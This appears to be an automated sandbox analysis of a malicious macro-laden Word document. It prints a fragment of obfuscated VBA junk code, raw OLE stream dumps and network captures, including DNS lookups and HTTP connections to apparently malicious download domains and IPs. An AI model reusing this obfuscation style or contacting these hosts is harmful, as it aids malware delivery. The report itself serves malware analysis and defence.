            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Jgkaawvg = Aihtijhnktshs To Asosmqcw
         Pzwdsqrmrzljs = Tlqhjcniz
         Gotixmcu = Kjrdavacpq
Next
Select Case Nsflpvxcrw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Qzzktgcfb = Hukkknizcpog To Alshswhn
         Gqshutxt = Cqtmthrd
         Ctjisvjyjnkt = Duvaeiruul
Next
Select Case Rgnkfdpazn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Hdzaptpn
End Sub

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 280

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	280
Entropy:	2.3907762904521577
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . h . . . . . . . p . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . & . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T i t l e . . . . . .
Data Raw:	fe ff 00 00 06 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 0c 00 00 00 01 00 00 00 68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 13 00 00 00 ac 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 424

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	424
Entropy:	3.311907066926082
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . x . . . . . . . . . . . . . . . . . . d . . . . . . . . . . . . . . L . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . , . . . . . . . 4 . . . . . . . < . . . . . . . D . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . N o r m a l . d o t m . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 78 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 64 01 00 00 03 00 00 00 98 00 00 00 04 00 00 00 4c 01 00 00 05 00 00 00 a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 d0 00 00 00 09 00 00 00 dc 00 00 00

Stream Path: 1Table, File Type: ARC archive data, crunched, Stream Size: 7024

General
Stream Path:	1Table
File Type:	ARC archive data, crunched
Stream Size:	7024
Entropy:	5.881578643954767
Base64 Encoded:	True
Data ASCII:	. . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6
Data Raw:	1a 06 0f 00 12 00 01 00 78 01 0f 00 07 00 03 00 00 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00

Stream Path: Data, File Type: dBase III DBT, version number 0, next free block index 552, 1st item "\213<\233\374\024\277\371\333\272\217\335\274\277\235~\017\266\213\336\347{\235O+LJC;c^E\325\376\003p\006\010p>\257\034\375\001", Stream Size: 130884

General
Stream Path:	Data
File Type:	dBase III DBT, version number 0, next free block index 552, 1st item "\213<\233\374\024\277\371\333\272\217\335\274\277\235~\017\266\213\336\347{\235O+LJC;c^E\325\376\003p\006\010p>\257\034\375\001"
Stream Size:	130884
Entropy:	7.02914979392898
Base64 Encoded:	True
Data ASCII:	( . . . D . d . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . s . . F . . . . . . . . A . . . . ? . . . . . . . . . . . . . . . ? . . . . . . . . . F . y . t . y . h . w . g . a . y . v . z . w . u . . . 3 . " . . . . . . . ` . . . . . ? . . . . . . . . . . . . . . . 2 . . P . . . . . . 7 . a t { 7 . 6 r ; . , . . . . . . . D . . . . . . ` ! . $ . . . . 7 . a t { 7 . 6 r ; . . . . . . . . . . . . .
Data Raw:	28 02 00 00 44 00 64 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 0f 00 e8 03 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 f0 84 00 00 00 b2 04 0a f0 08 00 00 00 06 04 00 00 00 0a 00 00 73 00 0b f0 46 00 00 00 7f 00 80 00 80 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 0c 00 1f 00 ff 01 00 00

Stream Path: Macros/Fbkxcpydi/\x1CompObj, File Type: data, Stream Size: 97

General
Stream Path:	Macros/Fbkxcpydi/\x1CompObj
File Type:	data
Stream Size:	97
Entropy:	3.6106491830605214
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t F o r m s 2 . 0 F o r m . . . . . E m b e d d e d O b j e c t . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: Macros/Fbkxcpydi/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 293

General
Stream Path:	Macros/Fbkxcpydi/\x3VBFrame
File Type:	ASCII text, with CRLF line terminators
Stream Size:	293
Entropy:	4.65317603063951
Base64 Encoded:	True
Data ASCII:	V E R S I O N 5 . 0 0 . . B e g i n { C 6 2 A 6 9 F 0 - 1 6 D C - 1 1 C E - 9 E 9 8 - 0 0 A A 0 0 5 7 4 A 4 F } F b k x c p y d i . . C a p t i o n = " U s e r F o r m 1 " . . C l i e n t H e i g h t = 3 0 3 0 . . C l i e n t L e f t = 1 2 0 . . C l i e n t T o p = 4 5 0 . . C l i e n t W i d t h = 4 5 6 0 . . S t a r t U p P o s i t i o n = 1 ' C e n t e r O w
Data Raw:	56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d 31 36 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 46 62 6b 78 63 70 79 64 69 20 0d 0a 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20 3d 20 20 20 22 55 73 65 72 46 6f 72 6d 31 22 0d 0a 20 20 20 43 6c 69 65 6e 74 48 65 69 67 68 74 20 20 20 20 3d 20

Stream Path: Macros/Fbkxcpydi/f, File Type: data, Stream Size: 682

General
Stream Path:	Macros/Fbkxcpydi/f
File Type:	data
Stream Size:	682
Entropy:	4.132154186006995
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . } . . k . . . . . . . . . . . . . . . . . . H . . . . . . . . T . . . , . ( . . . . . . . Y W M . z . F l . z . J d ? 6 . . . . . 0 . . . . . . . . , . . . . . . . . . . . D . . . . . . . V m m y u t u w y y m x e . . . . . . . . . . . . . ( . . . . . . . . . . . H . . . . . . . M z o n z s z c k d d x . . . . . . . . . . , . . . . . . . . . . . D . . . . . . . L u g n n j b j c s y t q . . . . . . . . . . . . . ( . . . . . . . . . . . @ . . . . . . . C e j f e h s i q d p
Data Raw:	00 04 20 00 08 0c 00 0c 0c 00 00 00 18 00 00 00 00 7d 00 00 6b 1f 00 00 e1 14 00 00 00 00 00 00 00 00 00 00 01 00 00 00 48 00 bb 1f 00 00 02 00 00 00 54 00 00 00 2c 01 28 01 03 00 98 00 9c 00 08 00 f5 59 ca e5 c4 57 d8 4d 9b d6 1d ee ed d2 7a f4 97 b7 b0 e3 2e a7 db 46 a0 d7 6c 9e ba 8e 9b bc 19 7a 12 f2 fb fb ed 4a 84 64 3f 36 d7 8c fe fb 0c 00 00 00 30 02 00 00 00 8c 01 00 00 00

Stream Path: Macros/Fbkxcpydi/o, File Type: data, Stream Size: 5365

General
Stream Path:	Macros/Fbkxcpydi/o
File Type:	data
Stream Size:	5365
Entropy:	3.5962878587320564
Base64 Encoded:	False
Data ASCII:	. . $ . . . @ . . . . . H , . . . . . . { . . . F g f x n a f l o k y j . . . . 5 . . . . . . . . . . . . . T a h o m a . . . . ( . . . @ . . . . . H , . . . . . . { . . . P a x n v j g g l l g f w . . . . . . . 5 . . . . . . . . . . . . . T a h o m a . . . . $ . . . @ . . . . . H , . . . . . . { . . . O i i c t q z y e n m f . . . . 5 . . . . . . . . . . . . . T a h o m a . . . . . . . @ . . . . . H , . . . . . . { . . . o w e r s h e . . . . . 5 . . . . . . . . . . . . . T a h o m a e . . . . . . @ .
Data Raw:	00 02 24 00 01 01 40 80 00 00 00 00 1b 48 80 2c 0c 00 00 80 ec 09 00 00 7b 02 00 00 46 67 66 78 6e 61 66 6c 6f 6b 79 6a 00 02 18 00 35 00 00 00 06 00 00 80 a5 00 00 00 00 02 00 00 54 61 68 6f 6d 61 00 00 00 02 28 00 01 01 40 80 00 00 00 00 1b 48 80 2c 0d 00 00 80 ec 09 00 00 7b 02 00 00 50 61 78 6e 76 6a 67 67 6c 6c 67 66 77 00 00 00 00 02 18 00 35 00 00 00 06 00 00 80 a5 00 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 616

General
Stream Path:	Macros/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	616
Entropy:	5.308939685529123
Base64 Encoded:	True
Data ASCII:	I D = " { 3 2 C 0 4 0 1 F - 9 3 B D - 4 2 8 C - 9 E D 1 - C 1 8 5 E 1 7 F A D 7 D } " . . D o c u m e n t = V i d p g e i l / & H 0 0 0 0 0 0 0 0 . . P a c k a g e = { A C 9 F 2 F 9 0 - E 8 7 7 - 1 1 C E - 9 F 6 8 - 0 0 A A 0 0 5 7 4 A 4 F } . . B a s e C l a s s = F b k x c p y d i . . M o d u l e = B n z a i l e n j g . . E x e N a m e 3 2 = " U f r d r m z p " . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G
Data Raw:	49 44 3d 22 7b 33 32 43 30 34 30 31 46 2d 39 33 42 44 2d 34 32 38 43 2d 39 45 44 31 2d 43 31 38 35 45 31 37 46 41 44 37 44 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 56 69 64 70 67 65 69 6c 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 50 61 63 6b 61 67 65 3d 7b 41 43 39 46 32 46 39 30 2d 45 38 37 37 2d 31 31 43 45 2d 39 46 36 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 0d 0a 42 61 73 65 43

Stream Path: Macros/PROJECTlk, File Type: Windows Precompiled iNF, version 0.1, InfStyle 1, flags 0x59f50000, at 0xf47a, Stream Size: 30

General
Stream Path:	Macros/PROJECTlk
File Type:	Windows Precompiled iNF, version 0.1, InfStyle 1, flags 0x59f50000, at 0xf47a
Stream Size:	30
Entropy:	3.40623892865339
Base64 Encoded:	False
Data ASCII:	. . . . . . Y W M . z . . . . . . . .
Data Raw:	01 00 01 00 00 00 f5 59 ca e5 c4 57 d8 4d 9b d6 1d ee ed d2 7a f4 00 00 00 00 00 00 00 00

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 10638

General
Stream Path:	Macros/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	10638
Entropy:	5.338094292911443
Base64 Encoded:	False
Data ASCII:	a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D .
Data Raw:	cc 61 af 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 07 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: Macros/VBA/__SRP_0, File Type: data, Stream Size: 1975

General
Stream Path:	Macros/VBA/__SRP_0
File Type:	data
Stream Size:	1975
Entropy:	4.623946704589897
Base64 Encoded:	False
Data ASCII:	K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * \\ C N o r m a l r U . . . . . . . . . . . . . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ d . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 . . . . . . . . ! N < c L . . . . . . . . . . . . . . . . . . . . . e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	93 4b 2a af 01 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 01 00 09 00 00 00 2a 5c 43 4e 6f 72 6d 61 6c 72 55 80 01 00 00 80 00 00 00 80 00 00 00 80 00 00 00 04 00 00 7e 05 00 00 7e 01 00 00 7e 01 00 00 7e 01 00 00 7e 01 00 00

Stream Path: Macros/VBA/__SRP_1, File Type: data, Stream Size: 191

General
Stream Path:	Macros/VBA/__SRP_1
File Type:	data
Stream Size:	191
Entropy:	2.6043883713669818
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . ~ . . . ~ . . . ~ y . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . . . . ! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . L x i j u p n g v . . . . ! . . . . . . . . . . . . . . ( . . . . . . . d . . . . . . .
Data Raw:	72 55 80 00 00 00 80 00 00 00 80 00 00 00 80 00 00 00 01 00 00 7e 01 00 00 7e 01 00 00 7e 79 00 00 7f 00 00 00 00 0a 00 00 00 09 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 09 00 00 00 00 00 03 00 ff ff ff ff ff ff ff ff 03 00 00 09 31 03 00 00 00 00 00 00 f9 09 00 00 00 00 00 00 08 00 00 00 00 00 01 00 03 00 00 09 21 07 00 00 00 00 00 00 89 0a 00 00 00 00

Stream Path: Macros/VBA/__SRP_2, File Type: data, Stream Size: 440

General
Stream Path:	Macros/VBA/__SRP_2
File Type:	data
Stream Size:	440
Entropy:	2.3806145775909835
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Y . . . . . . . . . . . 4 . . . . . . . . . . a . . . . . . . ! . . . . . . . . . . . . . . . . ` . . . . . . . . . . . < . . . A . . . . . . . . . . . . . . i . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E . . . . . . . y . . . . . . . . . . . . . . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 80 00 00 00 80 00 00 00 00 00 00 00 1e 00 00 00 09 00 00 00 00 00 00 00 09 00 00 00 00 00 03 00 30 00 00 00 00 00 00 00 01 00 01 00 00 00 00 00 01 00 01 00 00 00 02 00 81 09 00 00 00 00 00 00 a9 09 00 00 00 00 00 00 d1 09 00 00 00 00 00 00 09 00 00 00 01 00 02 00 59 09 00 00 00 00 00 00 08 00 0d 00 34 00 00 00 f9 09 00 00 00 00 00 00 61 00 00 00 00 00

Stream Path: Macros/VBA/__SRP_3, File Type: data, Stream Size: 142

General
Stream Path:	Macros/VBA/__SRP_3
File Type:	data
Stream Size:	142
Entropy:	2.3857723234419117
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . H . . . . . $ . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . 8 . . . . . . . n . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 80 00 00 00 80 00 00 00 00 00 00 00 10 00 00 00 09 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff 00 00 00 00 48 00 00 00 04 00 24 00 b9 01 00 00 00 00 02 00 00 00 04 60 00 00 10 07 1c 00 ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 1e 01 00 20 00 a1 00 00 00 00 00 01 00 ff ff ff ff 00 00 00 00 00 00 04 40 02 00 04 07 1d c1 00 00 00 00 00 01 00 38 00

Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 1100

General
Stream Path:	Macros/VBA/dir
File Type:	data
Stream Size:	1100
Entropy:	6.588091810909644
Base64 Encoded:	True
Data ASCII:	. H . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . l . . . . . . . . ! _ . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ s y s t e m 3 . 2 \\ . e 2 . t l b . # O L E A u t o m a t i o n . ` . . . E N o r m a l . E N C r . m . a Q F . . . . . * , \\ C . . . . . m . . A ! O f f i c g O D . f . i . c g .
Data Raw:	01 48 b4 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 eb 21 e1 5f 14 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

Stream Path: ObjectPool/_1638126958/\x3OCXNAME, File Type: data, Stream Size: 22

General
Stream Path:	ObjectPool/_1638126958/\x3OCXNAME
File Type:	data
Stream Size:	22
Entropy:	2.272808148826652
Base64 Encoded:	False
Data ASCII:	L . x . i . j . u . p . n . g . v . . . . .
Data Raw:	4c 00 78 00 69 00 6a 00 75 00 70 00 6e 00 67 00 76 00 00 00 00 00

Stream Path: ObjectPool/_1638126958/contents, File Type: data, Stream Size: 64

General
Stream Path:	ObjectPool/_1638126958/contents
File Type:	data
Stream Size:	64
Entropy:	3.000394047763189
Base64 Encoded:	False
Data ASCII:	. . . . . . @ . . . . . H , . . . . . . . . . . . P . . . . . . . 7 . . . . . . . . @ . . . . . . . C a l i b r i .
Data Raw:	00 02 1c 00 01 01 40 80 00 00 00 00 1d 48 80 2c 01 00 00 80 1a 00 00 00 1a 00 00 00 50 00 00 00 00 02 1c 00 37 00 00 00 07 00 00 80 00 20 00 40 e1 00 00 00 00 02 00 00 43 61 6c 69 62 72 69 00

Stream Path: WordDocument, File Type: data, Stream Size: 4096

General
Stream Path:	WordDocument
File Type:	data
Stream Size:	4096
Entropy:	1.3697220539987924
Base64 Encoded:	False
Data ASCII:	. s . . . . . . . . . . . . . . . . . . . . . ' . . . . . b j b j 2 ) 2 ) . . . . . . . . . . . . . . . . . . . . . . . . . . P C f P C f ' . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . B . . . . . . . B . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . t . . . . . .
Data Raw:	ec a5 c1 00 73 00 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 27 08 00 00 0e 00 62 6a 62 6a 32 29 32 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 2e 0e 00 00 50 43 99 66 50 43 99 66 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 7, 2023 18:14:14.719769955 CET	49173	80	192.168.2.22	103.224.212.222
Feb 7, 2023 18:14:14.885829926 CET	80	49173	103.224.212.222	192.168.2.22
Feb 7, 2023 18:14:14.886035919 CET	49173	80	192.168.2.22	103.224.212.222
Feb 7, 2023 18:14:14.895281076 CET	49173	80	192.168.2.22	103.224.212.222
Feb 7, 2023 18:14:15.102181911 CET	80	49173	103.224.212.222	192.168.2.22
Feb 7, 2023 18:14:15.119752884 CET	80	49173	103.224.212.222	192.168.2.22
Feb 7, 2023 18:14:15.119781971 CET	80	49173	103.224.212.222	192.168.2.22
Feb 7, 2023 18:14:15.119842052 CET	49173	80	192.168.2.22	103.224.212.222
Feb 7, 2023 18:14:15.120667934 CET	49173	80	192.168.2.22	103.224.212.222
Feb 7, 2023 18:14:15.285584927 CET	80	49173	103.224.212.222	192.168.2.22
Feb 7, 2023 18:14:15.304344893 CET	49174	80	192.168.2.22	13.248.148.254
Feb 7, 2023 18:14:15.324196100 CET	80	49174	13.248.148.254	192.168.2.22
Feb 7, 2023 18:14:15.324350119 CET	49174	80	192.168.2.22	13.248.148.254
Feb 7, 2023 18:14:15.324487925 CET	49174	80	192.168.2.22	13.248.148.254
Feb 7, 2023 18:14:15.344772100 CET	80	49174	13.248.148.254	192.168.2.22
Feb 7, 2023 18:14:15.466506958 CET	80	49174	13.248.148.254	192.168.2.22
Feb 7, 2023 18:14:15.560751915 CET	49175	80	192.168.2.22	162.212.129.161
Feb 7, 2023 18:14:15.672749996 CET	80	49174	13.248.148.254	192.168.2.22
Feb 7, 2023 18:14:15.672928095 CET	49174	80	192.168.2.22	13.248.148.254
Feb 7, 2023 18:14:15.686521053 CET	80	49175	162.212.129.161	192.168.2.22
Feb 7, 2023 18:14:15.686666012 CET	49175	80	192.168.2.22	162.212.129.161
Feb 7, 2023 18:14:15.686811924 CET	49175	80	192.168.2.22	162.212.129.161
Feb 7, 2023 18:14:15.812516928 CET	80	49175	162.212.129.161	192.168.2.22
Feb 7, 2023 18:14:15.816334009 CET	80	49175	162.212.129.161	192.168.2.22
Feb 7, 2023 18:14:15.906567097 CET	49175	80	192.168.2.22	162.212.129.161
Feb 7, 2023 18:14:15.906641006 CET	49174	80	192.168.2.22	13.248.148.254

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 7, 2023 18:14:12.096406937 CET	55868	53	192.168.2.22	8.8.8.8
Feb 7, 2023 18:14:12.119050980 CET	53	55868	8.8.8.8	192.168.2.22
Feb 7, 2023 18:14:12.196402073 CET	49688	53	192.168.2.22	8.8.8.8
Feb 7, 2023 18:14:12.238814116 CET	53	49688	8.8.8.8	192.168.2.22
Feb 7, 2023 18:14:12.240439892 CET	137	137	192.168.2.22	192.168.2.255
Feb 7, 2023 18:14:12.998070955 CET	137	137	192.168.2.22	192.168.2.255
Feb 7, 2023 18:14:13.762510061 CET	137	137	192.168.2.22	192.168.2.255
Feb 7, 2023 18:14:14.536828995 CET	58836	53	192.168.2.22	8.8.8.8
Feb 7, 2023 18:14:14.708704948 CET	53	58836	8.8.8.8	192.168.2.22
Feb 7, 2023 18:14:15.125154018 CET	50134	53	192.168.2.22	8.8.8.8
Feb 7, 2023 18:14:15.303457975 CET	53	50134	8.8.8.8	192.168.2.22
Feb 7, 2023 18:14:15.476758957 CET	55275	53	192.168.2.22	8.8.8.8
Feb 7, 2023 18:14:15.555291891 CET	53	55275	8.8.8.8	192.168.2.22
Feb 7, 2023 18:14:15.821939945 CET	59915	53	192.168.2.22	8.8.8.8
Feb 7, 2023 18:14:15.843313932 CET	53	59915	8.8.8.8	192.168.2.22
Feb 7, 2023 18:14:35.652678967 CET	138	138	192.168.2.22	192.168.2.255
Feb 7, 2023 18:16:05.690131903 CET	138	138	192.168.2.22	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 7, 2023 18:14:12.096406937 CET	192.168.2.22	8.8.8.8	0x66b2	Standard query (0)	amstaffrecords.com	A (IP address)	IN (0x0001)	false
Feb 7, 2023 18:14:12.196402073 CET	192.168.2.22	8.8.8.8	0xc630	Standard query (0)	foozoop.com	A (IP address)	IN (0x0001)	false
Feb 7, 2023 18:14:14.536828995 CET	192.168.2.22	8.8.8.8	0xe5a1	Standard query (0)	7arasport.com	A (IP address)	IN (0x0001)	false
Feb 7, 2023 18:14:15.125154018 CET	192.168.2.22	8.8.8.8	0x299d	Standard query (0)	ww38.7arasport.com	A (IP address)	IN (0x0001)	false
Feb 7, 2023 18:14:15.476758957 CET	192.168.2.22	8.8.8.8	0x8deb	Standard query (0)	dev2.ektonendon.gr	A (IP address)	IN (0x0001)	false
Feb 7, 2023 18:14:15.821939945 CET	192.168.2.22	8.8.8.8	0xdcc8	Standard query (0)	diagnostica-products.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 7, 2023 18:14:12.119050980 CET	8.8.8.8	192.168.2.22	0x66b2	Name error (3)	amstaffrecords.com	none	none	A (IP address)	IN (0x0001)	false
Feb 7, 2023 18:14:12.238814116 CET	8.8.8.8	192.168.2.22	0xc630	Server failure (2)	foozoop.com	none	none	A (IP address)	IN (0x0001)	false
Feb 7, 2023 18:14:14.708704948 CET	8.8.8.8	192.168.2.22	0xe5a1	No error (0)	7arasport.com		103.224.212.222	A (IP address)	IN (0x0001)	false
Feb 7, 2023 18:14:15.303457975 CET	8.8.8.8	192.168.2.22	0x299d	No error (0)	ww38.7arasport.com	701602.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 7, 2023 18:14:15.303457975 CET	8.8.8.8	192.168.2.22	0x299d	No error (0)	701602.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
